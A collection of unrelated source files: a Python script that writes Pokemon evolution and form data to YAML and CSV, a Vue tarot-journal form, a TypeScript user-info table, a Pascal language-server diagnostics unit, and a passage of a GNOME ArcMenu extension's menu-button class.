'level-up': {
'minimum_level': evolution.param,
'physical_stats_difference': 0,
}
}
})
elif evolution.methodTrigger == 0x0A:
# Minimum level, Attack < Defense
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_level': evolution.param,
'physical_stats_difference': -1,
}
}
})
elif evolution.methodTrigger == 0x0B or evolution.methodTrigger == 0x0C:
# Minimum level (Wurmple to Silcoon or Cascoon)
# Because our data structure is flipped from the way the games store it,
# we already know what species the Wurmple will evolve into. As such,
# this is stored no differently from a normal level_up evolution condition.
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_level': evolution.param,
}
}
})
elif evolution.methodTrigger == 0x0D:
# Minimum level
# This is the Ninjask side of the evolution and functions no differently
# from a normal level_up evolution condition
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_level': evolution.param,
}
}
})
elif evolution.methodTrigger == 0x0E:
# Shedinja
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'shed': {}
}
})
elif evolution.methodTrigger == 0x0F:
# Minimum beauty
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_beauty': evolution.param,
}
}
})
elif evolution.methodTrigger == 0x10:
# Player has item in their bag
out[evolves_into]['pokemon'][pokemon_slugs[evolves_into][0]].update({
'evolution_conditions': {
'level-up': {
'minimum_happiness': 220,
'bag_item': item_slugs[evolution.param]
}
}
})
else:
raise Exception('0x{method_trigger:2x} is not a valid method/trigger value'.format(
method_trigger=evolution.methodTrigger))
def _handle_specials(version: Version):
# Generate the Unown forms
# A-Z
unown_letters = [char.to_bytes(1, byteorder=sys.byteorder).decode('ascii') for char in range(0x41, 0x5B)]
# Add the new ! and ? forms
unown_letters.extend(['!', '?'])
for letter in unown_letters:
form_slug = 'unown-{letter}'.format(
letter=letter.lower().replace('!', 'exclamation').replace('?', 'question'))
form = out['unown']['pokemon']['unown']['forms']['unown'].copy()
form.update({
'name': 'UNOWN ({letter})'.format(letter=letter.upper()),
'form_name': letter.upper(),
'default': letter.upper() == 'A',
'battle_only': False,
'sprites': [
'{version_group}/{slug}.png'.format(version_group=version.value, slug=form_slug),
'{version_group}/shiny/{slug}.png'.format(version_group=version.value, slug=form_slug),
],
'art': ['unown-f.png'],
})
out['unown']['pokemon']['unown']['forms'][form_slug] = form
del out['unown']['pokemon']['unown']['forms']['unown']
# Castform's transformations are special cases in the battle code
castform_type_map = {
'sunny': 'fire',
'rainy': 'water',
'snowy': 'ice',
}
for form_slug, form_type in castform_type_map.items():
pokemon_slug = 'castform-{form}'.format(form=form_slug)
pokemon_name = '{form} CASTFORM'.format(form=form_slug.title())
pokemon_slugs['castform'].append(pokemon_slug)
pokemon = out['castform']['pokemon'][pokemon_slugs['castform'][0]].copy()
pokemon.update({
'name': pokemon_name,
'default': False,
'types': [form_type],
})
form = pokemon['forms'][pokemon_slugs['castform'][0]].copy()
form.update({
'name': pokemon_name,
'form_name': '{form} Form'.format(form=form_slug.title()),
'default': True,
'battle_only': True,
'sprites': [
'{version_group}/{slug}'.format(version_group=version.value, slug=pokemon_slug),
'{version_group}/shiny/{slug}'.format(version_group=version.value, slug=pokemon_slug),
],
})
pokemon['forms'] = {pokemon_slug: form}
out['castform']['pokemon'][pokemon_slug] = pokemon
# Cleanup Deoxys - it only has the Normal Form in these games.
# Update the names for R/S
out['deoxys']['pokemon'][pokemon_slugs['deoxys'][0]]['name'] = 'Normal DEOXYS'
out['deoxys']['pokemon'][pokemon_slugs['deoxys'][0]]['forms'][pokemon_slugs['deoxys'][0]].update({
'name': 'Normal DEOXYS',
'form_name': 'Normal Forme',
})
def _pullup_data(version: Version, pokemon_out_path: Path):
pullup_keys = [
'forms_note',
]
print('Using existing data')
for species_slug in progressbar.progressbar(species_slugs.values()):
yaml_path = pokemon_out_path.joinpath('{species}.yaml'.format(species=species_slug))
with yaml_path.open('r') as species_yaml:
old_species_data = yaml.load(species_yaml.read())
for key in pullup_keys:
for pokemon_slug, pokemon_data in old_species_data[version.value]['pokemon'].items():
if pokemon_slug not in out[species_slug]['pokemon']:
# Not all versions have the same Pokemon as their version group partner.
continue
if key in pokemon_data:
out[species_slug]['pokemon'][pokemon_slug][key] = pokemon_data[key]
elif key in out[species_slug]['pokemon'][pokemon_slug]:
del out[species_slug]['pokemon'][pokemon_slug][key]
def write_pokemon(out_data: dict, pokemon_out_path: Path):
print('Writing Pokemon')
for species_slug, species_data in progressbar.progressbar(out_data.items()):
yaml_path = pokemon_out_path.joinpath('{slug}.yaml'.format(slug=species_slug))
try:
with yaml_path.open('r') as species_yaml:
data = yaml.load(species_yaml.read())
except IOError:
data = {}
data.update(species_data)
with yaml_path.open('w') as species_yaml:
yaml.dump(data, species_yaml)
def write_pokemon_moves(used_version_groups, out_data: set, pokemon_move_out_path: Path):
print('Writing Pokemon moves')
# Get existing data, removing those that have just been ripped.
delete_learn_methods = [
'level-up',
'machine',
'tutor',
]
data = []
with pokemon_move_out_path.open('r') as pokemon_moves_csv:
for row in progressbar.progressbar(csv.DictReader(pokemon_moves_csv)):
if row['version_group'] not in used_version_groups or row['learn_method'] not in delete_learn_methods:
data.append(row)
data.extend([dict(row) for row in out_data])
with pokemon_move_out_path.open('w') as pokemon_moves_csv:
writer = csv.DictWriter(pokemon_moves_csv, fieldnames=data[0].keys())
writer.writeheader()
for row in progressbar.progressbar(data):
writer.writerow(row)
|
<template>
<div class="add-entry">
<p>Adding Entry</p>
<div v-if="errorOnSubmit" class="error">
<p>Error, cannot create entry</p>
</div>
<form>
<div>
<input
type="date"
name="date-select"
id="date-select"
:value="displayDate"
@input="onDateSelect"
/>
</div>
<div class="flex">
<input
type="checkbox"
name="reversedCheck"
:value="localEntry.reversed"
v-model="localEntry.reversed"
/>
<label for="reversedCheck">Reversed?</label>
</div>
<div>
<label for="tarot-card-select">Choose Card</label>
<TarotCardSelect
:selectedCardId="localEntry.cardId"
@card-selected="updateCardId"
name="tarot-card-select"
/>
</div>
<div>
<label for="entry">Journal Entry</label>
<TextEntry
name="entry"
rows="6"
cols="50"
:text="localEntry.journalEntry ? localEntry.journalEntry.trim() : ''"
v-model="localEntry.journalEntry"
/>
</div>
<button @click="submitEntry">Done</button>
</form>
</div>
</template>
<script>
import dayjs from "dayjs";
import TarotCardSelect from "./DesignComponents/TarotCardSelect.vue";
import TextEntry from "./DesignComponents/TextEntry.vue";
export default {
//props: ["newEntry"],
data() {
return {
localEntry: {
date: dayjs().valueOf(),
cardId: -1,
journalEntry: "",
reversed: false,
},
errorOnSubmit: false,
};
},
mounted() {
console.log(this.localEntry.date);
},
computed: {
displayDate() {
return dayjs(this.localEntry.date).format("YYYY-MM-DD");
},
},
methods: {
onDateSelect(e) {
this.localEntry.date = dayjs(e.target.value).valueOf();
},
updateCardId(selectedId) {
this.localEntry.cardId = selectedId;
},
submitEntry(e) {
e.preventDefault();
if (this.localEntry.cardId && this.localEntry.cardId !== -1) {
this.$emit("new-entry", this.localEntry);
this.$emit("close-modal");
} else {
this.errorOnSubmit = true;
}
},
},
components: { TarotCardSelect, TextEntry },
};
</script>
<style>
.error {
margin-bottom: 20px;
padding: 5px;
background-color: #ffcece;
}
.error p {
margin: 0;
}
</style>
|
import * as Handlebars from "handlebars";
import Block from "../../../helpers/classes/block";
import { Props } from "../../../helpers/models/props.model";
import { userInfoTableTmpl } from "./user-info-table.tmpl";
export interface UserInfoTableProps {
email: string;
userName: string;
firstName: string;
lastName: string;
phone: string;
chatName: string;
}
export class UserInfoTable extends Block {
constructor(props: Props & UserInfoTableProps) {
super(props, "div", ["custom-table"]);
}
render(): string {
const rows = this.generateUserInfoRows(this.props as UserInfoTableProps);
return Handlebars.compile(userInfoTableTmpl)({
rows,
});
}
generateUserInfoRows({
email,
userName,
firstName = "n/a",
lastName = "n/a",
phone = "n/a",
}: UserInfoTableProps) {
return [
{
key: "Почта",
value: email,
},
{
key: "Логин",
value: userName,
},
{
key: "Имя",
value: firstName,
},
{
key: "Фамилия",
value: lastName,
},
{
key: "Телефон",
value: phone,
},
];
}
}
|
// Pascal Language Server
// Copyright 2020 Ryan Joseph
// This file is part of Pascal Language Server.
// Pascal Language Server is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation, either version 3 of
// the License, or (at your option) any later version.
// Pascal Language Server is distributed in the hope that it will be
// useful, but WITHOUT ANY WARRANTY; without even the implied warranty
// of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Pascal Language Server. If not, see
// <https://www.gnu.org/licenses/>.
unit LSP.Diagnostics;
{$mode objfpc}{$H+}
interface
uses
{ RTL }
Classes,
{ Protocol }
LSP.BaseTypes, LSP.Base, LSP.Basic, LSP.Messages;
type
{ TPublishDiagnosticsParams }
TPublishDiagnosticsParams = class(TLSPStreamable)
private
fUri: TDocumentUri;
fDiagnostics: TDiagnosticItems;
procedure SetDiagnostics(AValue: TDiagnosticItems);
published
// The URI for which diagnostic information is reported.
property uri: TDocumentUri read fUri write fUri;
// The version number of the document the diagnostics are published for.
// todo: this must be optional
//property version: integer read fVersion write fVersion;
// An array of diagnostic information items.
property diagnostics: TDiagnosticItems read fDiagnostics write SetDiagnostics;
public
Constructor Create; override;
Destructor Destroy; override;
end;
{ TPublishDiagnostics }
{ Diagnostics notification are sent from the server to the client to signal results of validation runs.
Diagnostics are “owned” by the server so it is the server’s responsibility to clear them if necessary.
The following rule is used for VS Code servers that generate diagnostics:
if a language is single file only (for example HTML) then diagnostics are cleared by the server when the file is closed.
if a language has a project system (for example C#) diagnostics are not cleared when a file closes. When a project is
opened all diagnostics for all files are recomputed (or read from a cache).
When a file changes it is the server’s responsibility to re-compute diagnostics and push them to the client. If the
computed set is empty it has to push the empty array to clear former diagnostics. Newly pushed diagnostics always replace
previously pushed diagnostics. There is no merging that happens on the client side. }
TPublishDiagnostics = class(TNotificationMessage)
private
function GetDiagnosticParams: TPublishDiagnosticsParams;
public
constructor Create; override;
destructor Destroy; override;
function HaveDiagnostics : Boolean;
Property DiagnosticParams : TPublishDiagnosticsParams Read GetDiagnosticParams;
procedure Add(fileName, message: string; line, column, code: integer; severity: TDiagnosticSeverity);
procedure Clear(fileName: string);
end;
implementation
uses SysUtils;
{ TPublishDiagnostics }
procedure TPublishDiagnostics.Clear(fileName: string);
begin
DiagnosticParams.uri := PathToURI(fileName);
DiagnosticParams.diagnostics.Clear;
end;
procedure TPublishDiagnostics.Add(fileName, message: string; line, column, code: integer; severity: TDiagnosticSeverity);
var
Diagnostic: TDiagnostic;
begin
DiagnosticParams.uri := PathToURI(fileName);
Diagnostic := DiagnosticParams.diagnostics.Add;
Diagnostic.range.SetRange(line, column);
Diagnostic.severity := severity;
Diagnostic.code := code;
Diagnostic.source := 'Free Pascal Compiler';
Diagnostic.message := message;
end;
function TPublishDiagnostics.GetDiagnosticParams: TPublishDiagnosticsParams;
begin
Result:=Params as TPublishDiagnosticsParams;
end;
constructor TPublishDiagnostics.Create;
begin
params := TPublishDiagnosticsParams.Create;
method := 'textDocument/publishDiagnostics';
end;
destructor TPublishDiagnostics.Destroy;
begin
params.Free;
inherited;
end;
function TPublishDiagnostics.HaveDiagnostics: Boolean;
begin
Result:=DiagnosticParams.diagnostics.Count>0;
end;
{ TPublishDiagnosticsParams }
procedure TPublishDiagnosticsParams.SetDiagnostics(AValue: TDiagnosticItems);
begin
if fDiagnostics=AValue then Exit;
fDiagnostics.Assign(AValue);
end;
constructor TPublishDiagnosticsParams.Create;
begin
inherited;
fdiagnostics := TDiagnosticItems.Create;
end;
destructor TPublishDiagnosticsParams.Destroy;
begin
FreeAndNil(fDiagnostics);
inherited Destroy;
end;
end.
|
/*
* ArcMenu - A traditional application menu for GNOME 3
*
* ArcMenu Lead Developer and Maintainer
* Andrew Zaech https://gitlab.com/AndrewZaech
*
* ArcMenu Founder, Former Maintainer, and Former Graphic Designer
* LinxGem33 https://gitlab.com/LinxGem33 - (No Longer Active)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
const Me = imports.misc.extensionUtils.getCurrentExtension();
const {Clutter, GLib, GObject, Shell, St} = imports.gi;
const appSys = Shell.AppSystem.get_default();
const Constants = Me.imports.constants;
const Convenience = Me.imports.convenience;
const Gettext = imports.gettext.domain(Me.metadata['gettext-domain']);
const Main = imports.ui.main;
const MW = Me.imports.menuWidgets;
const PanelMenu = imports.ui.panelMenu;
const PopupMenu = imports.ui.popupMenu;
const Util = imports.misc.util;
const Utils = Me.imports.utils;
const _ = Gettext.gettext;
var DASH_TO_PANEL_UUID = '[email protected]';
var DASH_TO_DOCK_UUID = '[email protected]';
var UBUNTU_DOCK_UUID = '[email protected]';
var MenuButton = GObject.registerClass(class Arc_Menu_MenuButton extends PanelMenu.Button{
_init(settings, arcMenuPlacement, panel, dashIndex) {
super._init(0.5, null, true);
this._settings = settings;
this._panel = panel;
this.menu.destroy();
this.add_style_class_name('arc-menu-panel-menu');
this.arcMenuPlacement = arcMenuPlacement;
this.tooltipShowing = false;
this.tooltipHidingID = null;
this.tooltipShowingID = null;
let menuManagerParent;
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL)
menuManagerParent = this._panel;
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH)
menuManagerParent = this;
//Create Main Menus - ArcMenu and arcMenu's context menu
this.arcMenu = new ArcMenu(this, 0.5, St.Side.TOP);
this.arcMenu.connect('open-state-changed', this._onOpenStateChanged.bind(this));
this.arcMenuContextMenu = new ArcMenuContextMenu(this, 0.5, St.Side.TOP);
this.arcMenuContextMenu.connect('open-state-changed', this._onOpenStateChanged.bind(this));
this.menuManager = new PopupMenu.PopupMenuManager(menuManagerParent);
this.menuManager._changeMenu = (menu) => {};
this.menuManager.addMenu(this.arcMenu);
this.menuManager.addMenu(this.arcMenuContextMenu);
//Context Menus for applications and other menu items
this.contextMenuManager = new PopupMenu.PopupMenuManager(this);
this.contextMenuManager._changeMenu = (menu) => {};
this.contextMenuManager._onMenuSourceEnter = (menu) =>{
if (this.contextMenuManager.activeMenu && this.contextMenuManager.activeMenu != menu)
return Clutter.EVENT_STOP;
return Clutter.EVENT_PROPAGATE;
}
//Sub Menu Manager - Control all other popup menus
this.subMenuManager = new PopupMenu.PopupMenuManager(this);
this.subMenuManager._changeMenu = (menu) => {};
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
this.menuButtonWidget = new MW.MenuButtonWidget();
this.x_expand = false;
this.y_expand = false;
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
this.menuButtonWidget = new MW.DashMenuButtonWidget(this, this._settings);
this.dash = this._panel._allDocks[dashIndex];
this.style_class = 'dash-item-container';
this.child = this.menuButtonWidget.icon;
this.icon = this.menuButtonWidget.icon;
this.label = this.menuButtonWidget.label;
this.container.showLabel = () => this.menuButtonWidget.showLabel();
this.container.hideLabel = () => this.menuButtonWidget.hideLabel();
this.container.toggleButton = this.menuButtonWidget.actor;
this.toggleButton = this.menuButtonWidget.actor;
this.container.setDragApp = () => {};
this.arcMenuContextMenu.addExtensionSettings(this.arcMenuPlacement);
}
//Add Menu Button Widget to Button
this.add_actor(this.menuButtonWidget.actor);
}
initiate(){
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
//Dash to Panel Integration
this.dashToPanel = Main.extensionManager.lookup(DASH_TO_PANEL_UUID);
this.extensionChangedId = Main.extensionManager.connect('extension-state-changed', (data, extension) => {
if (extension.uuid === DASH_TO_PANEL_UUID && extension.state === 1) {
this.dashToPanel = Main.extensionManager.lookup(DASH_TO_PANEL_UUID);
this.syncWithDashToPanel();
}
if (extension.uuid === DASH_TO_PANEL_UUID && extension.state === 2) {
this.dashToPanel = null;
this.arcMenuContextMenu.removeExtensionSettings();
this.updateArrowSide(St.Side.TOP);
if(this.dtpPostionChangedID>0 && this.extensionSettingsItem){
this.extensionSettingsItem.disconnect(this.dtpPostionChangedID);
this.dtpPostionChangedID = 0;
}
}
});
if(this.dashToPanel && this.dashToPanel.stateObj){
this.syncWithDashToPanel();
}
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
//Dash to Dock Integration
this.dtdPostionChangedID = this._panel._settings.connect('changed::dock-position', ()=> {
let side = this._panel._settings.get_enum('dock-position');
this.updateArrowSide(side);
});
}
this._iconThemeChangedId = St.TextureCache.get_default().connect('icon-theme-changed', this.reload.bind(this));
this._monitorsChangedId = Main.layoutManager.connect('monitors-changed', () => {
this.updateHeight();
});
this._appList = this.listAllApps();
//Update Categories on 'installed-changed' event-------------------------------------
this._installedChangedId = appSys.connect('installed-changed', () => {
this._newAppList = this.listAllApps();
//Filter to find if a new application has been installed
let newApps = this._newAppList.filter(app => !this._appList.includes(app));
//A New Application has been installed
//Save it in settings
if(newApps.length){
let recentApps = this._settings.get_strv('recently-installed-apps');
let newRecentApps = [...new Set(recentApps.concat(newApps))];
this._settings.set_strv('recently-installed-apps', newRecentApps);
}
this._appList = this._newAppList;
});
this._setMenuPositionAlignment();
//Create Basic Layout
this.createLayoutID = GLib.timeout_add(0, 100, () => {
this.createMenuLayout();
this.createLayoutID = null;
return GLib.SOURCE_REMOVE;
});
}
setDragApp(){
}
handleDragOver(source, _actor, _x, _y, _time) {
return imports.ui.dnd.DragMotionResult.NO_DROP;
}
acceptDrop(source, _actor, _x, _y, _time) {
return false;
}
syncWithDashToPanel(){
this.arcMenuContextMenu.addExtensionSettings(this.arcMenuPlacement);
this.extensionSettingsItem = Convenience.getDTPSettings('org.gnome.shell.extensions.dash-to-panel', this.dashToPanel);
let monitorIndex = Main.layoutManager.findIndexForActor(this.menuButtonWidget.actor);
let side = Utils.getDashToPanelPosition(this.extensionSettingsItem, monitorIndex);
this.updateArrowSide(side);
let dashToPanelPositionSettings = 'panel-positions'
try{
this.extensionSettingsItem.get_string(dashToPanelPositionSettings);
} catch(e){
dashToPanelPositionSettings = 'panel-position'
}
this.dtpPostionChangedID = this.extensionSettingsItem.connect('changed::' + dashToPanelPositionSettings, ()=> {
let monitorIndex = Main.layoutManager.findIndexForActor(this.menuButtonWidget.actor);
let side = Utils.getDashToPanelPosition(this.extensionSettingsItem, monitorIndex);
this.updateArrowSide(side);
});
if(global.dashToPanel){
global.dashToPanel.panels.forEach(p => {
if(p.panel === this._panel){
this.dtpPanel = p;
}
});
}
}
listAllApps(){
let appList = appSys.get_installed().filter(appInfo => {
try {
appInfo.get_id(); // catch invalid file encodings
} catch (e) {
return false;
}
return appInfo.should_show();
});
return appList.map(app => app.get_id());
}
createMenuLayout(){
this.section = new PopupMenu.PopupMenuSection();
this.arcMenu.addMenuItem(this.section);
this.mainBox = new St.BoxLayout({
vertical: false,
x_expand: true,
y_expand: true,
x_align: Clutter.ActorAlign.FILL,
y_align: Clutter.ActorAlign.FILL
});
this.mainBox._delegate = this.mainBox;
let monitorIndex = Main.layoutManager.findIndexForActor(this.menuButtonWidget.actor);
let scaleFactor = Main.layoutManager.monitors[monitorIndex].geometry_scale;
let monitorWorkArea = Main.layoutManager.getWorkAreaForMonitor(monitorIndex);
let height = Math.round(this._settings.get_int('menu-height') / scaleFactor);
if(height > monitorWorkArea.height){
height = (monitorWorkArea.height * 8) / 10;
}
this.mainBox.style = `height: ${height}px`;
this.section.actor.add_actor(this.mainBox);
this.MenuLayout = Utils.getMenuLayout(this, this._settings.get_enum('menu-layout'));
this._setMenuPositionAlignment();
this.updateStyle();
}
_setMenuPositionAlignment(){
let layout = this._settings.get_enum('menu-layout');
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
let arrowAlignment = (this._settings.get_int('menu-position-alignment') / 100);
if(layout != Constants.MENU_LAYOUT.Runner){
if(this._settings.get_enum('position-in-panel') == Constants.MENU_POSITION.Center){
this.arcMenuContextMenu._arrowAlignment = arrowAlignment
this.arcMenu._arrowAlignment = arrowAlignment
this.arcMenuContextMenu._boxPointer.setSourceAlignment(.5);
this.arcMenu._boxPointer.setSourceAlignment(.5);
}
else if(this.dashToPanel && this.dashToPanel.stateObj){
let monitorIndex = Main.layoutManager.findIndexForActor(this.menuButtonWidget.actor);
let side = Utils.getDashToPanelPosition(this.extensionSettingsItem, monitorIndex);
this.updateArrowSide(side, false);
}
else{
this.updateArrowSide(St.Side.TOP, false);
}
}
else{
this.updateArrowSide(St.Side.TOP, false);
if(this._settings.get_enum('position-in-panel') == Constants.MENU_POSITION.Center){
this.arcMenuContextMenu._arrowAlignment = arrowAlignment
this.arcMenuContextMenu._boxPointer.setSourceAlignment(.5);
}
}
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
if(layout != Constants.MENU_LAYOUT.Runner){
let side = this._panel._settings.get_enum('dock-position');
this.updateArrowSide(side, false);
}
else{
this.updateArrowSide(St.Side.TOP, false);
}
}
}
updateArrowSide(side, setAlignment = true){
let arrowAlignment;
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
this.menuButtonWidget.updateArrowIconSide(side);
if(side === St.Side.RIGHT || side === St.Side.LEFT)
arrowAlignment = 1.0;
else
arrowAlignment = 0.5;
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH)
arrowAlignment = 0.5;
this.arcMenuContextMenu._arrowSide = side;
this.arcMenuContextMenu._boxPointer._arrowSide = side;
this.arcMenuContextMenu._boxPointer._userArrowSide = side;
this.arcMenuContextMenu._boxPointer.setSourceAlignment(0.5);
this.arcMenuContextMenu._arrowAlignment = arrowAlignment;
this.arcMenuContextMenu._boxPointer._border.queue_repaint();
this.arcMenu._arrowSide = side;
this.arcMenu._boxPointer._arrowSide = side;
this.arcMenu._boxPointer._userArrowSide = side;
this.arcMenu._boxPointer.setSourceAlignment(0.5);
this.arcMenu._arrowAlignment = arrowAlignment;
this.arcMenu._boxPointer._border.queue_repaint();
if(setAlignment)
this._setMenuPositionAlignment();
}
updateStyle(){
let removeMenuArrow = this._settings.get_boolean('remove-menu-arrow');
let layout = this._settings.get_enum('menu-layout');
let addStyle = this._settings.get_boolean('enable-custom-arc-menu');
let gapAdjustment = this._settings.get_int('gap-adjustment');
this.arcMenu.actor.style_class = addStyle ? 'arc-menu-boxpointer': 'popup-menu-boxpointer';
this.arcMenu.actor.add_style_class_name(addStyle ? 'arc-menu' : 'popup-menu');
this.arcMenuContextMenu.actor.style_class = addStyle ? 'arc-menu-boxpointer': 'popup-menu-boxpointer';
this.arcMenuContextMenu.actor.add_style_class_name(addStyle ? 'arc-menu' : 'popup-menu');
if(removeMenuArrow){
this.arcMenu.actor.style = "-arrow-base:0px; -arrow-rise:0px; -boxpointer-gap: " + gapAdjustment + "px;";
this.arcMenu.box.style = "margin:0px;";
}
else if(layout != Constants.MENU_LAYOUT.Raven){
this.arcMenu.actor.style = "-boxpointer-gap: " + gapAdjustment + "px;";
this.arcMenu.box.style = null;
}
if(this.MenuLayout)
this.MenuLayout.updateStyle();
}
updateSearch(){
if(this.MenuLayout)
this.MenuLayout.updateSearch();
}
setSensitive(sensitive) {
this.reactive = sensitive;
this.can_focus = sensitive;
this.track_hover = sensitive;
}
vfunc_event(event){
if (event.type() === Clutter.EventType.BUTTON_PRESS){
if(event.get_button() == 1){
this.toggleMenu();
}
else if(event.get_button() == 3){
this.arcMenuContextMenu.toggle();
}
}
else if(event.type() === Clutter.EventType.TOUCH_BEGIN){
this.toggleMenu();
}
else if(event.type() === Clutter.EventType.ENTER && this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
this.menuButtonWidget.actor.add_style_pseudo_class('selected');
this.menuButtonWidget._icon.add_style_pseudo_class('active');
}
else if(event.type() === Clutter.EventType.LEAVE && this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
if(!this.arcMenu.isOpen && !this.arcMenuContextMenu.isOpen){
this.menuButtonWidget.actor.remove_style_pseudo_class('selected');
this.menuButtonWidget._icon.remove_style_pseudo_class('active');
}
}
return Clutter.EVENT_PROPAGATE;
}
toggleMenu(){
if(this.contextMenuManager.activeMenu)
this.contextMenuManager.activeMenu.toggle();
if(this.subMenuManager.activeMenu)
this.subMenuManager.activeMenu.toggle();
let layout = this._settings.get_enum('menu-layout');
if(layout === Constants.MENU_LAYOUT.GnomeDash){
if(this._settings.get_boolean('gnome-dash-show-applications') && !Main.overview.visible){
Main.overview.viewSelector._showAppsButton.checked = true;
Main.overview.toggle();
}
else if(this._settings.get_boolean('gnome-dash-show-applications') && Main.overview.visible && !Main.overview.viewSelector._showAppsButton.checked)
Main.overview.viewSelector._showAppsButton.checked = true;
else
Main.overview.toggle();
}
else{
if(layout === Constants.MENU_LAYOUT.Runner || layout === Constants.MENU_LAYOUT.Raven)
this.MenuLayout.updateLocation();
if(this.arcMenuPlacement === Constants.ArcMenuPlacement.PANEL){
if(this.dtpPanel && !this.arcMenu.isOpen){
if(this.dtpPanel.intellihide && this.dtpPanel.intellihide.enabled)
this.dtpPanel.intellihide._revealPanel(true);
else if(!this.dtpPanel.panelBox.visible){
this.dtpPanel.panelBox.visible = true;
this.dtpNeedsHiding = true;
}
}
else if(this._panel === Main.panel && !Main.layoutManager.panelBox.visible && !this.arcMenu.isOpen){
Main.layoutManager.panelBox.visible = true;
this.mainPanelNeedsHiding = true;
}
}
else if(this.arcMenuPlacement === Constants.ArcMenuPlacement.DASH){
if(this.dash.getDockState() === 0)
this.dash._animateIn(0, 0);
else if(!this.dash.visible && !this.arcMenu.isOpen){
this.dash.visible = true;
this.dtdNeedsHiding = true;
}
}
this.arcMenu.toggle();
if(this.arcMenu.isOpen){
this.mainBox.grab_key_focus();
}
}
}
getActiveMenu(){
if(this.contextMenuManager.activeMenu)
return this.contextMenuManager.activeMenu;
else if(this.subMenuManager.activeMenu)
return this.subMenuManager.activeMenu;
else if(this.arcMenu.isOpen)
return this.arcMenu;
else if(this.arcMenuContextMenu.isOpen)
return this.arcMenuContextMenu;
else
return null;
}
toggleArcMenuContextMenu(){
if(this.arcMenuContextMenu.isOpen)
this.arcMenuContextMenu.toggle();
}
updateHeight(){
let layout = this._settings.get_enum('menu-layout');
let monitorIndex = Main.layoutManager.findIndexForActor(this.menuButtonWidget.actor);
let scaleFactor = Main.layoutManager.monitors[monitorIndex].geometry_scale;
let monitorWorkArea = Main.layoutManager.getWorkAreaForMonitor(monitorIndex);
let height = Math.round(this._settings.get_int('menu-height') / scaleFactor);
if(height > monitorWorkArea.height){
height = (monitorWorkArea.height * 8) / 10;
}
if(!(layout == Constants.MENU_LAYOUT.Simple || layout == Constants.MENU_LAYOUT.Simple2 || layout == Constants.MENU_LAYOUT.Runner) && this.MenuLayout)
this.mainBox.style = `height: ${height}px`;
this.reload();
}
_onDestroy(){
if (this._iconThemeChangedId){
St.TextureCache.get_default().disconnect(this._iconThemeChangedId);
this._iconThemeChangedId = null;
}
if (this._monitorsChangedId){
Main.layoutManager.disconnect(this._monitorsChangedId);
this._monitorsChangedId = null;
}
if(this.reloadID){
GLib.source_remove(this.reloadID);
this.reloadID = null;
}
if(this.createLayoutID){
GLib.source_remove(this.createLayoutID);
this.createLayoutID = null;
}
if(this.updateMenuLayoutID){
GLib.source_remove(this.updateMenuLayoutID);
this.updateMenuLayoutID = null;
}
if (this.tooltipShowingID) {
GLib.source_remove(this.tooltipShowingID);
this.tooltipShowingID = null;
}
if (this.tooltipHidingID) {
GLib.source_remove(this.tooltipHidingID);
this.tooltipHidingID = null;
}
if(this.MenuLayout)
this.MenuLayout.destroy();
if(this.extensionChangedId){
Main.extensionManager.disconnect(this.extensionChangedId);
this.extensionChangedId = null;
}
if(this.dtpPostionChangedID && this.extensionSettingsItem){
this.extensionSettingsItem.disconnect(this.dtpPostionChangedID);
this.dtpPostionChangedID = null;
}
if(this.dtdPostionChangedID && this._panel._settings){
this._panel._settings.disconnect(this.dtdPostionChangedID);
this.dtdPostionChangedID = null;
}
if(this._installedChangedId){
appSys.disconnect(this._installedChangedId);
this._installedChangedId = null;
}
if(this.arcMenu){
this.arcMenu.destroy();
}
if(this.arcMenuContextMenu){
this.arcMenuContextMenu.destroy();
}
super._onDestroy();
}
_updateMenuLayout(){
this.tooltipShowing = false;
if (this.tooltipShowingID) {
GLib.source_remove(this.tooltipShowingID);
this.tooltipShowingID = null;
}
if (this.tooltipHidingID) {
GLib.source_remove(this.tooltipHidingID);
this.tooltipHidingID = null;
}
if(this.MenuLayout){
this.MenuLayout.destroy();
this.MenuLayout = null;
}
this.arcMenu.removeAll();
this.updateMenuLayoutID = GLib.timeout_add(0, 100, () => {
this.createMenuLayout();
this.updateMenuLayoutID = null;
return GLib.SOURCE_REMOVE;
});
}
_loadPinnedShortcuts(){
if(this.MenuLayout)
this.MenuLayout.loadPinnedShortcuts();
}
updateLocation(){
if(this.MenuLayout)
this.MenuLayout.updateLocation();
}
updateIcons(){
if(this.MenuLayout)
this.MenuLayout.updateIcons();
}
_loadCategories(){
if(this.MenuLayout)
this.MenuLayout.loadCategories();
}
_clearApplicationsBox() {
if(this.MenuLayout)
this.MenuLayout.clearApplicationsBox();
}
_displayCategories() {
if(this.MenuLayout)
this.MenuLayout.displayCategories();
}
